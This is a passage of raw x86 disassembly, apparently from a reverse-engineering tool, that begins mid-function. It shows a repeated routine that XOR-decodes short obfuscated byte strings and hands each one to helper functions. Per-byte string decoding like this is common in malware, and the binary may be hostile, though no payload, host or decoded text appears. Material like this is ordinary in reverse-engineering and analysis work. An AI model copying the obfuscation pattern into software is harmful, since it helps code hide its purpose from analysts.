movq qword [ebp - 0x4b], xmm0
push eax
mov byte [ebp - 0x43], 0
call fcn.0047faa0
mov dword [ebp - 4], 0x10d
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x51], al
inc ecx
cmp ecx, 6
jb 0x416fe1
lea eax, [ebp - 0x51]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x10e8]
mov byte [ebp - 0x4b], 0
call fcn.00402a50
lea ecx, [ebp - 0x10e8]
call fcn.00402af0
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b00
mov ecx, ebx
mov byte [ebp - 4], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417030
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b20
mov byte [ebp - 4], 0xe
mov ecx, edi
mov byte [ebp - 4], 0x10
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x10e8]
call fcn.004029b0
sub esp, 0x18
mov dword [ebp - 0x6d], 0x9d8c8fb1
lea eax, [ebp + 8]
mov dword [ebp - 0x14], esp
xorps xmm0, xmm0
mov byte [ebp - 0x69], 0x87
mov ecx, esp
movq qword [ebp - 0x68], xmm0
push eax
mov byte [ebp - 0x60], 0
call fcn.0047faa0
mov dword [ebp - 4], 0x111
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x6d], al
inc ecx
cmp ecx, 5
jb 0x417097
lea eax, [ebp - 0x6d]
mov dword [0x5584f4], ecx
push eax
lea ecx, [ebp - 0x1100]
mov byte [ebp - 0x68], 0
call fcn.00402a50
lea ecx, [ebp - 0x1100]
call fcn.00402af0
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b00
mov ecx, ebx
mov byte [ebp - 4], 0x13
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4170e6
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b20
mov byte [ebp - 4], 0x12
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1100]
call fcn.004029b0
movaps xmm0, xmmword [0x543fb0]
lea eax, [ebp + 8]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x4ce], xmm0
push eax
call fcn.0047faa0
mov dword [ebp - 4], 0x115
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4ce], al
inc ecx
cmp ecx, 7
jb 0x417144
lea eax, [ebp - 0x4ce]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1118]
mov byte [ebp - 0x4c7], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1118]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0x17
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1118]
call fcn.004029b0
movaps xmm0, xmmword [0x543d40]
lea eax, [ebp + 8]
sub esp, 0x18
mov dword [ebp - 0x1a8], 0x878a858f
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x1a4], xmm0
push eax
call fcn.0047faa0
mov dword [ebp - 4], pe_nt_image_headers32
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1a8], al
inc ecx
cmp ecx, 0xb
jb 0x4171e2
lea eax, [ebp - 0x1a8]
mov dword [0x5584e0], ecx
push eax
lea ecx, [ebp - 0x1130]
mov byte [ebp - 0x19d], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1130]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1130]
call fcn.004029b0
movaps xmm0, xmmword [0x543df0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x3fc], 0xa7
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x3fb], xmm0
push eax
call fcn.0047faa0
mov dword [ebp - 4], 0x11b
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3fc], al
inc ecx
cmp ecx, 8
jb 0x417280
lea eax, [ebp - 0x3fc]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x1148]
mov byte [ebp - 0x3f4], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1148]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0x1d
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1148]
call fcn.004029b0
movaps xmm0, xmmword [0x543dc0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x41e], 0xb9
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x41d], xmm0
push eax
call fcn.0047faa0
mov dword [ebp - 4], 0x11e
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x41e], al
inc ecx
cmp ecx, 8
jb 0x417320
lea eax, [ebp - 0x41e]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x1160]
mov byte [ebp - 0x416], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1160]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0x20
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1160]
call fcn.004029b0
movaps xmm0, xmmword [0x545280]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x65f], 0
movups xmmword [ebp - 0x677], xmm0
mov dword [ebp - 0x14], esp
mov ecx, esp
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x667], xmm0
call fcn.0047faa0
mov dword [ebp - 4], 0x121
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x677], al
inc ecx
cmp ecx, 0x10
jb 0x4173d0
lea eax, [ebp - 0x677]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0x1178]
mov byte [ebp - 0x667], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1178]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0x23
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1178]
call fcn.004029b0
movaps xmm0, xmmword [0x5437a0]
lea eax, [ebp + 8]
sub esp, 0x18
mov dword [ebp - 0x1bc], 0x898989a7
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x1b8], xmm0
push eax
call fcn.0047faa0
mov dword [ebp - 4], 0x124
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1bc], al
inc ecx
cmp ecx, 0xb
jb 0x417470
lea eax, [ebp - 0x1bc]
mov dword [0x5584e0], ecx
push eax
lea ecx, [ebp - 0x1190]
mov byte [ebp - 0x1b1], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x1190]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0x26
call fcn.004122d0
add esp, 0x30
lea ecx, [ebp - 0x1190]
call fcn.004029b0
lea ecx, [ebp - 0x8f0]
call fcn.004029b0
lea ecx, [ebp - 0x340]
call fcn.004029b0
lea ecx, [ebp - 0x908]
call fcn.004029b0
lea ecx, [ebp - 0xa28]
call fcn.004029b0
lea ecx, [ebp - 0x920]
call fcn.004029b0
lea ecx, [ebp - 0xa58]
call fcn.004029b0
lea ecx, [ebp - 0x938]
call fcn.004029b0
lea ecx, [ebp - 0x950]
call fcn.004029b0
lea ecx, [ebp - 0x968]
call fcn.004029b0
lea ecx, [ebp - 0x980]
call fcn.004029b0
lea ecx, [ebp - 0x358]
call fcn.004029b0
lea ecx, [ebp - 0x998]
call fcn.004029b0
lea ecx, [ebp - 0x9b0]
call fcn.004029b0
lea ecx, [ebp - 0x9c8]
call fcn.004029b0
lea ecx, [ebp - 0x9e0]
call fcn.004029b0
lea ecx, [ebp - 0x9f8]
call fcn.004029b0
lea ecx, [ebp + 8]
call fcn.004029b0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret